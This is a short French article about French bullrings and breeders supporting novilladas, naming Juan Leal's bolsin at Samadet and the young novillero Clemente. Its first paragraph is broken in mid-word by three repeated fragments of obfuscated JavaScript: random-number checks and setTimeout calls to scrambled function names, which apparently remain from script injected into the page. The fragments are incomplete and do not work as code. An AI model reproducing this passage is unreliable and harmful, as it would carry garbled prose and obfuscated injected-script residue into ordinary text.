LA FRANCE PARIE SUR LES NOVILLADAS

Deux faits significatifs et récents prouvent que la Fiesta dans son ensemble en France, au-delà des mots et des bonnes intentions, a pris ses responsabilités pour préserver les novilladas. Remarquable attitude et détermination que celles du jeune matador arlésien Juan Leal comme organisateur du nouveau bolsin « La Fragua » à Samadet, mais aussi de la plupart des arènes françaises, petites ou grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes, qui programment des bolsins pour leurs ferias. Mais cela ne va pas au détriment des novilladas sans picadors et il faut souligner l’initiative de l’association des ganaderos français qui pour cette édition « Toros de France » a décidé pour la première fois qu’il n’y ait que des novilladas. Aussi bien dans des arènes du sud-ouest que du sud-est, de première catégorie comme Bayonne ou de troisième comme Tarascon.

La France est devenue une terre de toros indispensable pour la formation des novilleros des deux côtés des Pyrénées. Ils ne doivent plus attendre nécessairement les dernières ferias de novilladas du calendrier espagnol pour se distinguer et engranger des contrats. Avec des options d’élevages contrastées, le luxe et le premier choix dans la sélection des novillos dans des arènes comme Garlin ou Mugron mais aussi plus de torisme comme à Parentis ou à Saint-Martin-de-Crau.
Il faut aussi mettre l’accent sur un novillero français qui est en train de chauffer l’ambiance dans ce marché et qui est très attendu cette saison. Il s’agit du bordelais Clemente qui après avoir interpellé l’aficion l´année dernière pour sa présentation à Captieux vient de marquer les esprits à Samadet.

clementequerenciasClemente à Samadet le 9 mars 2014 (photo Bruno Lasnier)

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